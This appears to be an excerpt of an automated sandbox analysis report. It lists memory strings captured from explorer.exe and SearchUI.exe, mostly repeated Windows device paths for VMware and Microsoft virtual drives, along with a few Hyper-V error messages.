Source: explorer.exe, 00000008.00000003.454689264.0000000006963000.00000004.00000001.sdmpBinary or memory string: \\?\STORAGE#Volume#{e6e9dfc6-98f2-11e9-90ce-806e6f6e6963}#0000000025700000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\STORAGE#Volume#{e6e9dfc6-98f2-11e9-90ce-806e6f6e6963}#000000001F400000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\STORAGE#Volume#{e6e9dfc6-98f2-11e9-90ce-806e6f6e6963}#0000000026700000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\STORAGE#Volume#{e6e9dfc6-98f2-11e9-90ce-806e6f6e6963}#0000000000100000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\SCSI#CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00#5&280b647&0&000000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\SCSI#CdRom&Ven_Msft&Prod_Virtual_DVD-ROM#2&1f4adffe&0&000001#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}N
Source: explorer.exe, 00000008.00000003.461107219.0000000006C52000.00000004.00000001.sdmpBinary or memory string: \\?\STORAGE#Volume#{e6e9dfc6-98f2-11e9-90ce-806e6f6e6963}#0000000025700000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\STORAGE#Volume#{e6e9dfc6-98f2-11e9-90ce-806e6f6e6963}#000000001F400000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\STORAGE#Volume#{e6e9dfc6-98f2-11e9-90ce-806e6f6e6963}#0000000026700000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\STORAGE#Volume#{e6e9dfc6-98f2-11e9-90ce-806e6f6e6963}#0000000000100000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\SCSI#CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00#5&280b647&0&000000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\SCSI#CdRom&Ven_Msft&Prod_Virtual_DVD-ROM#2&1f4adffe&0&000001#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}B_0
Source: explorer.exe, 00000004.00000000.231622850.00000000055D0000.00000004.00000001.sdmpBinary or memory string: \\?\scsi#cdrom&ven_necvmwar&prod_vmware_sata_cd00#5&280b647&0&000000#{53f56308-b6bf-11d0-94f2-00a0c91efb8b}V*(E
Source: explorer.exe, 00000008.00000003.436870688.0000000005EBA000.00000004.00000001.sdmpBinary or memory string: VMware SATA CD00w
Source: explorer.exe, 00000004.00000000.242683146.000000000871F000.00000004.00000001.sdmpBinary or memory string: \\?\scsi#cdrom&ven_necvmwar&prod_vmware_sata_cd00#5&280b647&0&000000#{53f56308-b6bf-11d0-94f2-00a0c91efb8b}~
Source: explorer.exe, 00000004.00000000.243099885.00000000087D1000.00000004.00000001.sdmpBinary or memory string: VMware SATA CD00ices
Source: explorer.exe, 00000008.00000003.461107219.0000000006C52000.00000004.00000001.sdmpBinary or memory string: d0-94f2-00a0c91efb8b}\\?\STORAGE#Volume#{e6e9dfc6-98f2-11e9-90ce-806e6f6e6963}#0000000000100000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\SCSI#CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00#5&280b647&0&000000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\SCSI#CdRom&Ven_Msft&Prod_Virtual_DVD-ROM#2&1
Source: explorer.exe, 00000008.00000003.433271989.0000000006994000.00000004.00000001.sdmpBinary or memory string: \\?\STORAGE#Volume#{e6e9dfc6-98f2-11e9-90ce-806e6f6e6963}#0000000025700000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\STORAGE#Volume#{e6e9dfc6-98f2-11e9-90ce-806e6f6e6963}#000000001F400000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\STORAGE#Volume#{e6e9dfc6-98f2-11e9-90ce-806e6f6e6963}#0000000026700000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\STORAGE#Volume#{e6e9dfc6-98f2-11e9-90ce-806e6f6e6963}#0000000000100000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\SCSI#CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00#5&280b647&0&000000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\SCSI#CdRom&Ven_Msft&Prod_Virtual_DVD-ROM#2&1f4adffe&0&000001#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}RL
Source: explorer.exe, 00000004.00000000.241391462.0000000008220000.00000002.00000001.sdmp, SearchUI.exe, 00000012.00000002.451845201.00000240A2000000.00000002.00000001.sdmp, SearchUI.exe, 00000026.00000002.564007945.00000112F8C00000.00000002.00000001.sdmpBinary or memory string: An unknown internal message was received by the Hyper-V Compute Service.
Source: explorer.exe, 00000008.00000003.456924384.0000000006C5D000.00000004.00000001.sdmpBinary or memory string: \\?\STORAGE#Volume#{e6e9dfc6-98f2-11e9-90ce-806e6f6e6963}#0000000025700000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\STORAGE#Volume#{e6e9dfc6-98f2-11e9-90ce-806e6f6e6963}#000000001F400000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\STORAGE#Volume#{e6e9dfc6-98f2-11e9-90ce-806e6f6e6963}#0000000026700000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\STORAGE#Volume#{e6e9dfc6-98f2-11e9-90ce-806e6f6e6963}#0000000000100000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\SCSI#CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00#5&280b647&0&000000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\SCSI#CdRom&Ven_Msft&Prod_Virtual_DVD-ROM#2&1f4adffe&0&000001#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}`
Source: SearchUI.exe, 00000012.00000002.459565883.00000240A27EF000.00000004.00000001.sdmpBinary or memory string: Hyper-V RAW(( H
Source: explorer.exe, 00000008.00000003.414099826.0000000006994000.00000004.00000001.sdmpBinary or memory string: \\?\STORAGE#Volume#{e6e9dfc6-98f2-11e9-90ce-806e6f6e6963}#0000000025700000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\STORAGE#Volume#{e6e9dfc6-98f2-11e9-90ce-806e6f6e6963}#000000001F400000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\STORAGE#Volume#{e6e9dfc6-98f2-11e9-90ce-806e6f6e6963}#0000000026700000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\STORAGE#Volume#{e6e9dfc6-98f2-11e9-90ce-806e6f6e6963}#0000000000100000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\SCSI#CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00#5&280b647&0&000000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\SCSI#CdRom&Ven_Msft&Prod_Virtual_DVD-ROM#2&1f4adffe&0&000001#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\L
Source: explorer.exe, 00000008.00000003.346416979.0000000005F26000.00000004.00000001.sdmpBinary or memory string: \\?\STORAGE#Volume#{e6e9dfc6-98f2-11e9-90ce-806e6f6e6963}#0000000025700000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\STORAGE#Volume#{e6e9dfc6-98f2-11e9-90ce-806e6f6e6963}#000000001F400000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\STORAGE#Volume#{e6e9dfc6-98f2-11e9-90ce-806e6f6e6963}#0000000026700000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\STORAGE#Volume#{e6e9dfc6-98f2-11e9-90ce-806e6f6e6963}#0000000000100000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\SCSI#CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00#5&280b647&0&000000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\SCSI#CdRom&Ven_Msft&Prod_Virtual_DVD-ROM#2&1f4adffe&0&000001#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}_s
Source: explorer.exe, 00000008.00000003.398414050.0000000005F25000.00000004.00000001.sdmpBinary or memory string: \\?\STORAGE#Volume#{e6e9dfc6-98f2-11e9-90ce-806e6f6e6963}#0000000025700000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\STORAGE#Volume#{e6e9dfc6-98f2-11e9-90ce-806e6f6e6963}#000000001F400000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\STORAGE#Volume#{e6e9dfc6-98f2-11e9-90ce-806e6f6e6963}#0000000026700000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\STORAGE#Volume#{e6e9dfc6-98f2-11e9-90ce-806e6f6e6963}#0000000000100000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\SCSI#CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00#5&280b647&0&000000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\SCSI#CdRom&Ven_Msft&Prod_Virtual_DVD-ROM#2&1f4adffe&0&000001#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}B&n^
Source: explorer.exe, 00000004.00000000.241391462.0000000008220000.00000002.00000001.sdmp, SearchUI.exe, 00000012.00000002.451845201.00000240A2000000.00000002.00000001.sdmp, SearchUI.exe, 00000026.00000002.564007945.00000112F8C00000.00000002.00000001.sdmpBinary or memory string: A Virtual Machine could not be started because Hyper-V is not installed.
Source: explorer.exe, 00000008.00000003.456835733.0000000006C65000.00000004.00000001.sdmpBinary or memory string: War&Prod_VMware_SATA_CD00#5&280b647&0&000000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\SCSI#CdRom&Ven_Msft&Prod_Virtual_DVD-ROM#2&1f4adffe&0&000001#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}rogram Files (x86)\Common FB
Source: explorer.exe, 00000008.00000003.456835733.0000000006C65000.00000004.00000001.sdmpBinary or memory string: c6-98f2-11e9-90ce-806e6f6e6963}#0000000000100000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\SCSI#CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00#5&280b647&0&000000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\SCSI#CdRom&Ven_Msft&Prod_Virtual_DVD-ROM#2&1f4adffe&0&000001#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}mDataAPPDATA=C:\Users\
Source: explorer.exe, 00000008.00000003.393738249.0000000006EE8000.00000004.00000001.sdmpBinary or memory string: \\?\STORAGE#Volume#{e6e9dfc6-98f2-11e9-90ce-806e6f6e6963}#0000000025700000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\STORAGE#Volume#{e6e9dfc6-98f2-11e9-90ce-806e6f6e6963}#000000001F400000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\STORAGE#Volume#{e6e9dfc6-98f2-11e9-90ce-806e6f6e6963}#0000000026700000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\STORAGE#Volume#{e6e9dfc6-98f2-11e9-90ce-806e6f6e6963}#0000000000100000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\SCSI#CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00#5&280b647&0&000000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\SCSI#CdRom&Ven_Msft&Prod_Virtual_DVD-ROM#2&1f4adffe&0&000001#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}Ny
Source: explorer.exe, 00000008.00000003.420487158.0000000005F25000.00000004.00000001.sdmpBinary or memory string: 00100000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\SCSI#CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00#5&280b647&0&000000tc
Source: explorer.exe, 00000008.00000003.461107219.0000000006C52000.00000004.00000001.sdmpBinary or memory string: \\?\STORAGE#Volume#{e6e9dfc6-98f2-11e9-90ce-806e6f6e6963}#0000000025700000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\STORAGE#Volume#{e6e9dfc6-98f2-11e9-90ce-806e6f6e6963}#000000001F400000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\STORAGE#Volume#{e6e9dfc6-98f2-11e9-90ce-806e6f6e6963}#0000000026700000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\STORAGE#Volume#{e6e9dfc6-98f2-11e9-90ce-806e6f6e6963}#0000000000100000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\SCSI#CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00#5&280b647&0&000000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\SCSI#CdRom&Ven_Msft&Prod_Virtual_DVD-ROM#2&1f4adffe&0&000001#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}B`1
Source: explorer.exe, 00000008.00000003.346416979.0000000005F26000.00000004.00000001.sdmpBinary or memory string: \\?\STORAGE#Volume#{e6e9dfc6-98f2-11e9-90ce-806e6f6e6963}#0000000025700000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\STORAGE#Volume#{e6e9dfc6-98f2-11e9-90ce-806e6f6e6963}#000000001F400000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\STORAGE#Volume#{e6e9dfc6-98f2-11e9-90ce-806e6f6e6963}#0000000026700000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\STORAGE#Volume#{e6e9dfc6-98f2-11e9-90ce-806e6f6e6963}#0000000000100000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\SCSI#CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00#5&280b647&0&000000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\SCSI#CdRom&Ven_Msft&Prod_Virtual_DVD-ROM#2&1f4adffe&0&000001#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}B
Source: explorer.exe, 00000008.00000003.461107219.0000000006C52000.00000004.00000001.sdmpBinary or memory string: \\?\STORAGE#Volume#{e6e9dfc6-98f2-11e9-90ce-806e6f6e6963}#0000000025700000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\STORAGE#Volume#{e6e9dfc6-98f2-11e9-90ce-806e6f6e6963}#000000001F400000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\STORAGE#Volume#{e6e9dfc6-98f2-11e9-90ce-806e6f6e6963}#0000000026700000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\STORAGE#Volume#{e6e9dfc6-98f2-11e9-90ce-806e6f6e6963}#0000000000100000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\SCSI#CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00#5&280b647&0&000000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\SCSI#CdRom&Ven_Msft&Prod_Virtual_DVD-ROM#2&1f4adffe&0&000001#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}Bd
Source: explorer.exe, 00000004.00000000.231650586.0000000005603000.00000004.00000001.sdmpBinary or memory string: \\?\SCSI#CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00#5&280b647&0&000000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b},
Source: explorer.exe, 00000008.00000003.460897372.0000000006F97000.00000004.00000001.sdmpBinary or memory string: \\?\STORAGE#Volume#{e6e9dfc6-98f2-11e9-90ce-806e6f6e6963}#0000000025700000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\STORAGE#Volume#{e6e9dfc6-98f2-11e9-90ce-806e6f6e6963}#000000001F400000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\STORAGE#Volume#{e6e9dfc6-98f2-11e9-90ce-806e6f6e6963}#0000000026700000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\STORAGE#Volume#{e6e9dfc6-98f2-11e9-90ce-806e6f6e6963}#0000000000100000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\SCSI#CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00#5&280b647&0&000000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\SCSI#CdRom&Ven_Msft&Prod_Virtual_DVD-ROM#2&1f4adffe&0&000001#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}21-3853321935-2125563209-40B
Source: explorer.exe, 00000008.00000003.420487158.0000000005F25000.00000004.00000001.sdmpBinary or memory string: c6-98f2-11e9-90ce-806e6f6e6963}#0000000000100000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\SCSI#CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00#5&280b647&0&000000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}1nO
Source: explorer.exe, 00000008.00000003.454689264.0000000006963000.00000004.00000001.sdmpBinary or memory string: \\?\STORAGE#Volume#{e6e9dfc6-98f2-11e9-90ce-806e6f6e6963}#0000000025700000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\STORAGE#Volume#{e6e9dfc6-98f2-11e9-90ce-806e6f6e6963}#000000001F400000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\STORAGE#Volume#{e6e9dfc6-98f2-11e9-90ce-806e6f6e6963}#0000000026700000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\STORAGE#Volume#{e6e9dfc6-98f2-11e9-90ce-806e6f6e6963}#0000000000100000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\SCSI#CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00#5&280b647&0&000000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\SCSI#CdRom&Ven_Msft&Prod_Virtual_DVD-ROM#2&1f4adffe&0&000001#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}G
Source: explorer.exe, 00000008.00000003.407453548.0000000005F25000.00000004.00000001.sdmpBinary or memory string: 00#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\STORAGE#Volume#{e6e9dfc6-98f2-11e9-90ce-806e6f6e6963}#0000000000100000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\SCSI#CdRom&Ven_NECVMWar&Prod_VMware_SATA
Source: explorer.exe, 00000008.00000003.454689264.0000000006963000.00000004.00000001.sdmpBinary or memory string: \\?\STORAGE#Volume#{e6e9dfc6-98f2-11e9-90ce-806e6f6e6963}#0000000025700000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\STORAGE#Volume#{e6e9dfc6-98f2-11e9-90ce-806e6f6e6963}#000000001F400000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\STORAGE#Volume#{e6e9dfc6-98f2-11e9-90ce-806e6f6e6963}#0000000026700000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\STORAGE#Volume#{e6e9dfc6-98f2-11e9-90ce-806e6f6e6963}#0000000000100000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\SCSI#CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00#5&280b647&0&000000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\SCSI#CdRom&Ven_Msft&Prod_Virtual_DVD-ROM#2&1f4adffe&0&000001#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}H
Source: explorer.exe, 00000008.00000003.310205761.0000000005EF4000.00000004.00000001.sdmpBinary or memory string: -94f2-00a0c91efb8b}\\?\STORAGE#Volume#{e6e9dfc6-98f2-11e9-90ce-806e6f6e6963}#0000000026700000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\STORAGE#Volume#{e6e9dfc6-98f2-11e9-90ce-806e6f6e6963}#0000000000100000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\SCSI#CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00#5&280b647&0&000000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\SCSI#CdRom&Ven_Msft&Prod_Virtual_DVD-ROM#2&1f4adffe&0&000001#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}BG
Source: explorer.exe, 00000008.00000003.454689264.0000000006963000.00000004.00000001.sdmpBinary or memory string: \\?\STORAGE#Volume#{e6e9dfc6-98f2-11e9-90ce-806e6f6e6963}#0000000025700000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\STORAGE#Volume#{e6e9dfc6-98f2-11e9-90ce-806e6f6e6963}#000000001F400000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\STORAGE#Volume#{e6e9dfc6-98f2-11e9-90ce-806e6f6e6963}#0000000026700000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\STORAGE#Volume#{e6e9dfc6-98f2-11e9-90ce-806e6f6e6963}#0000000000100000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\SCSI#CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00#5&280b647&0&000000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\SCSI#CdRom&Ven_Msft&Prod_Virtual_DVD-ROM#2&1f4adffe&0&000001#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}SL
Source: explorer.exe, 00000008.00000003.308340229.0000000005EF9000.00000004.00000001.sdmpBinary or memory string: war&prod_vmware_sata_cd00#5&280b647&0&000000#{53f56308-b6bf-11d0-94f2-00a0c91efb8b}
Source: explorer.exe, 00000008.00000003.417066829.00000000059B2000.00000004.00000001.sdmpBinary or memory string: \\?\STORAGE#Volume#{e6e9dfc6-98f2-11e9-90ce-806e6f6e6963}#0000000025700000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\STORAGE#Volume#{e6e9dfc6-98f2-11e9-90ce-806e6f6e6963}#000000001F400000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\STORAGE#Volume#{e6e9dfc6-98f2-11e9-90ce-806e6f6e6963}#0000000026700000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\STORAGE#Volume#{e6e9dfc6-98f2-11e9-90ce-806e6f6e6963}#0000000000100000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\SCSI#CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00#5&280b647&0&000000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\SCSI#CdRom&Ven_Msft&Prod_Virtual_DVD-ROM#2&1f4adffe&0&000001#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}<
Source: explorer.exe, 00000008.00000003.429481568.000000000136D000.00000004.00000001.sdmpBinary or memory string: VMware SATA CD00q<
Source: explorer.exe, 00000008.00000003.461107219.0000000006C52000.00000004.00000001.sdmpBinary or memory string: _VMware_SATA_CD00#5&280b647&0&000000#{53f5634
Source: explorer.exe, 00000008.00000003.461236474.0000000006D4C000.00000004.00000001.sdmpBinary or memory string: \\?\STORAGE#Volume#{e6e9dfc6-98f2-11e9-90ce-806e6f6e6963}#0000000025700000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\STORAGE#Volume#{e6e9dfc6-98f2-11e9-90ce-806e6f6e6963}#000000001F400000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\STORAGE#Volume#{e6e9dfc6-98f2-11e9-90ce-806e6f6e6963}#0000000026700000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\STORAGE#Volume#{e6e9dfc6-98f2-11e9-90ce-806e6f6e6963}#0000000000100000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\SCSI#CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00#5&280b647&0&000000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\
Source: explorer.exe, 00000008.00000003.302937348.0000000005CE5000.00000004.00000001.sdmpBinary or memory string: SCSI\CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00\5&280b647&0&000000.@v
Source: explorer.exe, 00000008.00000003.461049266.0000000006D59000.00000004.00000001.sdmpBinary or memory string: \\?\STORAGE#Volume#{e6e9dfc6-98f2-11e9-90ce-806e6f6e6963}#0000000025700000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\STORAGE#Volume#{e6e9dfc6-98f2-11e9-90ce-806e6f6e6963}#000000001F400000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\STORAGE#Volume#{e6e9dfc6-98f2-11e9-90ce-806e6f6e6963}#0000000026700000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\STORAGE#Volume#{e6e9dfc6-98f2-11e9-90ce-806e6f6e6963}#0000000000100000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\SCSI#CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00#5&280b647&0&000000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\SCSI#CdRom&Ven_Msft&Prod_Virtual_DVD-ROM#2&1f4adffe&0&000001#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}B_
Source: explorer.exe, 00000008.00000003.302871083.0000000005CB2000.00000004.00000001.sdmpBinary or memory string: SCSI\Disk&Ven_VMware&Prod_Virtual_disk\5&1ec51bf7&0&000000@v
Source: explorer.exe, 00000008.00000003.308340229.0000000005EF9000.00000004.00000001.sdmpBinary or memory string: \\?\scsi#cdrom&ven_necvmwar&prod_vmware_sata_cd00#5&280b
Source: explorer.exe, 00000008.00000003.436796573.0000000005E9E000.00000004.00000001.sdmpBinary or memory string: \\?\STORAGE#Volume#{e6e9dfc6-98f2-11e9-90ce-806e6f6e6963}#0000000025700000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\STORAGE#Volume#{e6e9dfc6-98f2-11e9-90ce-806e6f6e6963}#000000001F400000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\STORAGE#Volume#{e6e9dfc6-98f2-11e9-90ce-806e6f6e6963}#0000000026700000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\STORAGE#Volume#{e6e9dfc6-98f2-11e9-90ce-806e6f6e6963}#0000000000100000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\SCSI#CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00#5&280b647&0&000000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\SCSI#CdRom&Ven_Msft&Prod_Virtual_DVD-ROM#2&1f4adffe&0&000001#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}user
Source: explorer.exe, 00000004.00000000.242683146.000000000871F000.00000004.00000001.sdmpBinary or memory string: SCSI\CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00\5&280b647&0&000000:
Source: explorer.exe, 00000004.00000000.242223190.0000000008640000.00000004.00000001.sdmpBinary or memory string: \\?\scsi#cdrom&ven_necvmwar&prod_vmware_sata_cd00#5&280b647&0&000000#{53f56308-b6bf-11d0-94f2-00a0c91efb8b}
Source: explorer.exe, 00000008.00000003.456924384.0000000006C5D000.00000004.00000001.sdmpBinary or memory string: e9-90ce-806e6f6e6963}#0000000026700000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\STORAGE#Volume#{e6e9dfc6-98f2-11e9-90ce-806e6f6e6963}#0000000000100000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\SCSI#CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00#5&280b647&0&000000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\SCSI#CdRom&Ven_Msft&
Source: explorer.exe, 00000008.00000003.346416979.0000000005F26000.00000004.00000001.sdmpBinary or memory string: \\?\STORAGE#Volume#{e6e9dfc6-98f2-11e9-90ce-806e6f6e6963}#0000000025700000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\STORAGE#Volume#{e6e9dfc6-98f2-11e9-90ce-806e6f6e6963}#000000001F400000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\STORAGE#Volume#{e6e9dfc6-98f2-11e9-90ce-806e6f6e6963}#0000000026700000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\STORAGE#Volume#{e6e9dfc6-98f2-11e9-90ce-806e6f6e6963}#0000000000100000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\SCSI#CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00#5&280b647&0&000000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\SCSI#CdRom&Ven_Msft&Prod_Virtual_DVD-ROM#2&1f4adffe&0&000001#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}Bcl
Source: explorer.exe, 00000008.00000003.456835733.0000000006C65000.00000004.00000001.sdmpBinary or memory string: -b6bf-11d0-94f2-00a0c91efb8b}\\?\STORAGE#Volume#{e6e9dfc6-98f2-11e9-90ce-806e6f6e6963}#0000000000100000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\SCSI#CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00#5&280b647&0&000000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\SCSI#CdRom&Ven_Msft&Prod_Virtual_DVD-ROM#2&1f4adffe&0&000001#{53f563
